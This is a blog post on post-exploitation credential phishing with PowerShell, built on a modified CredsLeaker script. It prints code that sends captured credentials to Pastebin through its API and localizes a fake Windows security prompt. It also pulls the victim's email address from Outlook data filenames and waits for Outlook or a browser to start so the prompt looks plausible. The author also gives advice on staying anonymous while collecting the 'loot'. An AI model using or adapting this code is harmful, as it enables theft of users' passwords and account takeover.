aboutposts

Post-Exploit Phishing with PowerShell

01. Aug 2021, #windows #phishing #powershell 

Some time ago I stumbled upon Dviros/CredsLeaker↗. It uses built-in PowerShell functions to first ask for the username and password and then check if they are correct. I remember from the early Ducky-Scripts↗ that you always could do that with Get-Credential↗. But the window of the ‘Get-Credential’ function looked highly suspicious. Thanks to the mentioned repository it’s now possible to display the normal Windows security window instead of the old ‘Get-Credential’ window. The new window looks identical to the window that pops up when connecting to an RDP session or when using Microsoft SSO.

Microsoft Credential Window

The original repo uses either a web server or a USB thumb drive for loot delivery. I thought that Pastebin↗ could be an alternative here. It uses just e-mail registration and has a free-to-use API. If you use a disposable e-mail and log in to get the loot only via proxy/VPN, that’s pretty anonymous.

You can find my modified code here↗.

Pastebin inside PowerShell #

For the first part, I needed to implement the Pastebin API to PowerShell. This is done in two different steps. First, you need to get a temporary API key. For this a simple Invoke-RestMethod was used:

$body_login = @{
    api_dev_key = "DEVKEY"
    api_user_name = "USERNAME"
    api_user_password = "PASSWORD"
}

$api_user_key = Invoke-RestMethod -Method Post -Uri "https://pastebin.com/api/api_login.php" -Body $body_login
if ($null -eq $pastebin_api_key) {
    Write-Host -ForegroundColor Red "Please check network connectivity, username, password or developer key"
    exit
}

This returns the API key into the variable $api_user_key. To post data to Pastebin you then make a second request using Invoke-RestMethod again:

$body_post = @{
    api_option = "paste"
    api_user_key = $api_user_key
    api_paste_private = "2"
    api_dev_key = "DEVKEY"
    api_paste_code = "PASTE CONTENTS"
    api_paste_name = "PASTE NAME"
}

Invoke-RestMethod -Method Post -Uri "https://pastebin.com/api/api_post.php" -Body $body_post
if (!$?) {
    Write-Host -ForegroundColor Red "Please check network connectivity, username, password or developer key"
    exit
}

The options you can use while making a POST request are listed on the Pastebin API documentation↗. This includes options like an expiration date, the format (if you would upload code, you would get syntax highlighting), or if your paste is private or public.

Modifying credsleaker #

I removed the leaker function as well as the switch code in the beginning. Since in the original repo, the window text is only available in English, I added a language switcher. It uses the Get-WinUserLanguageList function. This returns an array of installed display languages. The first element is the language with the highest priority, so the script uses index 0.

$target = "Microsoft Windows"
$caption_en = "Enter your credentials"
$message_en = "These credentials will be used to connect to $target"
$caption_de = "Anmeldeinformationen eingeben"
$message_de = "Diese Anmeldeinformationen werden beim Herstellen einer Verbindung mit $target verwendet."

$language = (Get-WinUserLanguageList)[0].LanguageTag
switch ($language) {
    en-AU {$caption = $caption_en;$message = $message_en}
    en-BZ {$caption = $caption_en;$message = $message_en}
    en-CA {$caption = $caption_en;$message = $message_en}
    en-CB {$caption = $caption_en;$message = $message_en}
    en-GB {$caption = $caption_en;$message = $message_en}
    en-IN {$caption = $caption_en;$message = $message_en}
    en-IE {$caption = $caption_en;$message = $message_en}
    en-JM {$caption = $caption_en;$message = $message_en}
    en-NZ {$caption = $caption_en;$message = $message_en}
    en-PH {$caption = $caption_en;$message = $message_en}
    en-ZA {$caption = $caption_en;$message = $message_en}
    en-TT {$caption = $caption_en;$message = $message_en}
    en-US {$caption = $caption_en;$message = $message_en}
    de-AT {$caption = $caption_de;$message = $message_de}
    de-DE {$caption = $caption_de;$message = $message_de}
    de-LI {$caption = $caption_de;$message = $message_de}
    de-LU {$caption = $caption_de;$message = $message_de}
    de-CH {$caption = $caption_de;$message = $message_de}
    default {$caption = $caption_en;$message = $message_en}
}

Variants #

Variant Outlook #

A friend of mine suggested that you could use this method to hunt for more than Windows credentials. The idea was to wait until a software of choice was launched and then ask for credentials to that software. Since Microsoft Outlook was my first idea, I went with that.

Since the credential window needed to look realistic, I wanted to display the user’s e-mail address when asking for credentials. There is a module↗ that does exactly that. Unfortunately with UAC enabled this opens a prompt and would alert the user. After some brainstorming, I came up with a much simpler method. Outlook store all its data inside a .pst or .ost file. The filename is simply the e-mail address. Those files are stored in %APPDATA%. With the code below, you can scan for such files and simply remove the file extension for the full e-mail address.

function Get-Email() {
    $email_file = Get-ChildItem $env:LOCALAPPDATA\Microsoft\Outlook -File -Recurse -Include *.ost, *.pst | Select-Object Name -ExpandProperty Name -first 1
    $email_name = $email_file.Substring(0,$email_file.Length-4)
    if ($null -eq $email_name) {
        Write-Host -ForegroundColor Red "Error while getting the e-mail address"
        exit
    } else {
        return $email_name
    }
}

With all the information complete I wait for a process with the name OUTLOOK.

function Wait-Outlook() {
    while ($true) {
        $process_list = Get-Process | Select-Object ProcessName -ExpandProperty ProcessName
        if ($process_list -clike '*OUTLOOK*') {
            break
        } else {
            Start-Sleep -Seconds 3
        }
    }
}

Validating the entered credentials is hard since MS Exchange is likely going to require 2FA and most companies disable the access via SMTP of O356 accounts. If the user uses POP/IMAP instead of Exchange, it would be simple to test, but I haven’t found files or registry keys where the server connection strings (address, port, auth type) are directly present.

You can find this script under Variants↗.

Variant Browsers #

This does the same thing as with the Outlook variant but for some common browsers and it validates the credentials. This script can also be found under Variants↗.

function Get-Browser() {
    while ($true) {
        $process_list = Get-Process | Select-Object ProcessName -ExpandProperty ProcessName
        if ($process_list -clike '*firefox*') {
            return "Mozilla Firefox"
        }
        if ($process_list -clike '*chrome*') {
            return "Google Chrome"
        }
        if ($process_list -clike '*msedge*') {
            return "Microsoft Edge"
        }
        Start-Sleep -Seconds 3
    }
}